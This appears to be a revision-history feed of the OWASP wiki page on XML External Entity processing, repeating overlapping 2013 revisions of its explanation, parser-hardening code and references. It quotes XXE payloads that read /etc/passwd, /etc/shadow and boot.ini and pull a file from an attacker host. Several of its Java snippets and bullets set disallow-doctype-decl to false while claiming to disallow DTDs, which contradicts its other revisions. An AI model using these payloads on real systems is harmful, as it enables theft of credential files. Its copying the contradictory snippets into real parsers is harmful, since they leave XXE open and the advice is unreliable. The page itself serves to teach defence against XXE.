      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl&lt;br /&gt;
      dbf.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&lt;br /&gt;
 &lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
 &lt;br /&gt;
        catch (ParserConfigurationException e) {&lt;br /&gt;
            // This should catch a failed setFeature feature&lt;br /&gt;
            logger.info(&amp;quot;ParserConfigurationException was thrown. The feature '&amp;quot; +&lt;br /&gt;
                        DISALLOW_FEATURE +&lt;br /&gt;
                        &amp;quot;' is probably not supported by your XML processor.&amp;quot;);&lt;br /&gt;
            ...&lt;br /&gt;
        }&lt;br /&gt;
        catch (SAXException e) {&lt;br /&gt;
            // On Apache, this should be thrown when disallowing DOCTYPE&lt;br /&gt;
            logger.warning(&amp;quot;A DOCTYPE was passed into the XML document&amp;quot;);&lt;br /&gt;
            ...&lt;br /&gt;
        }&lt;br /&gt;
        catch (IOException e) {&lt;br /&gt;
            // XXE that points to a file that doesn't exist&lt;br /&gt;
            logger.error(&amp;quot;IOException occurred, XXE may still possible: &amp;quot; + e.getMessage());&lt;br /&gt;
            ...&lt;br /&gt;
        }&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/jonpasski/5599721 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.ParserConfigurationException;  // catching unsupported features&lt;br /&gt;
import javax.xml.parsers.SAXParser;&lt;br /&gt;
import javax.xml.parsers.SAXParserFactory;&lt;br /&gt;
&lt;br /&gt;
import org.xml.sax.SAXNotRecognizedException;  // catching unknown features&lt;br /&gt;
import org.xml.sax.SAXNotSupportedException;  // catching known but unsupported features&lt;br /&gt;
import org.xml.sax.XMLReader;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
    SAXParserFactory spf = SAXParserFactory.newInstance();&lt;br /&gt;
    SAXParser saxParser = spf.newSAXParser();&lt;br /&gt;
    XMLReader reader = saxParser.getXMLReader();&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
&lt;br /&gt;
      // Using the SAXParserFactory's setFeature&lt;br /&gt;
      spf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
      // Using the XMLReader's setFeature&lt;br /&gt;
      reader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl&lt;br /&gt;
      spf.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
&lt;br /&gt;
    } catch (ParserConfigurationException e) {&lt;br /&gt;
      // Tried an unsupported feature.&lt;br /&gt;
&lt;br /&gt;
    } catch (SAXNotRecognizedException e) {&lt;br /&gt;
      // Tried an unknown feature.&lt;br /&gt;
&lt;br /&gt;
    } catch (SAXNotSupportedException e) {&lt;br /&gt;
      // Tried a feature known to the parser but unsupported.&lt;br /&gt;
&lt;br /&gt;
    } catch ... {&lt;br /&gt;
      &lt;br /&gt;
    }&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===iOS===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).&lt;br /&gt;
&lt;br /&gt;
====NSXMLDocument====&lt;br /&gt;
&lt;br /&gt;
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:&lt;br /&gt;
&lt;br /&gt;
* iOS4 and earlier: All external entities are loaded by default.&lt;br /&gt;
&lt;br /&gt;
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)&lt;br /&gt;
&lt;br /&gt;
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=151790</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=151790"/>
				<updated>2013-05-17T15:15:44Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: SaxParserFactory / XMLReader example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parses XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing /etc/passwd or other targeted files===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;  &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===C/C++===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/anonymous/5599156 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features&lt;br /&gt;
...&lt;br /&gt;
 &lt;br /&gt;
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
      dbf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 &lt;br /&gt;
      // Xerces 2 only - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      dbf.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, false);&lt;br /&gt;
 &lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
 &lt;br /&gt;
      } catch (ParserConfigurationException e) {&lt;br /&gt;
        // Tried an unsupported feature. This may indicate that a different XML processor is being&lt;br /&gt;
        // used. If so, then its features need to be researched and applied correctly.&lt;br /&gt;
        // For example, using the Xerces 2 feature above on a Xerces 1 processor will throw this&lt;br /&gt;
        // exception.&lt;br /&gt;
 &lt;br /&gt;
      } catch ... {&lt;br /&gt;
      }&lt;br /&gt;
    ...&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/jonpasski/5599721 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.ParserConfigurationException;  // catching unsupported features&lt;br /&gt;
import javax.xml.parsers.SAXParser;&lt;br /&gt;
import javax.xml.parsers.SAXParserFactory;&lt;br /&gt;
&lt;br /&gt;
import org.xml.sax.SAXNotRecognizedException;  // catching unknown features&lt;br /&gt;
import org.xml.sax.SAXNotSupportedException;  // catching known but unsupported features&lt;br /&gt;
import org.xml.sax.XMLReader;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
    SAXParserFactory spf = SAXParserFactory.newInstance();&lt;br /&gt;
    SAXParser saxParser = spf.newSAXParser();&lt;br /&gt;
    XMLReader reader = saxParser.getXMLReader();&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
&lt;br /&gt;
      // Using the SAXParserFactory's setFeature&lt;br /&gt;
      spf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
      // Using the XMLReader's setFeature&lt;br /&gt;
      reader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      // Xerces 2 only - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      spf.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
&lt;br /&gt;
    } catch (ParserConfigurationException e) {&lt;br /&gt;
      // Tried an unsupported feature.&lt;br /&gt;
&lt;br /&gt;
    } catch (SAXNotRecognizedException e) {&lt;br /&gt;
      // Tried an unknown feature.&lt;br /&gt;
&lt;br /&gt;
    } catch (SAXNotSupportedException e) {&lt;br /&gt;
      // Tried a feature known to the parser but unsupported.&lt;br /&gt;
&lt;br /&gt;
    } catch ... {&lt;br /&gt;
      &lt;br /&gt;
    }&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===iOS===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).&lt;br /&gt;
&lt;br /&gt;
====NSXMLDocument====&lt;br /&gt;
&lt;br /&gt;
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:&lt;br /&gt;
&lt;br /&gt;
* iOS4 and earlier: All external entities are loaded by default.&lt;br /&gt;
&lt;br /&gt;
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)&lt;br /&gt;
&lt;br /&gt;
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=151787</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=151787"/>
				<updated>2013-05-17T14:00:56Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: Adding code snippet for Java DOM example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parses XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing /etc/passwd or other targeted files===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
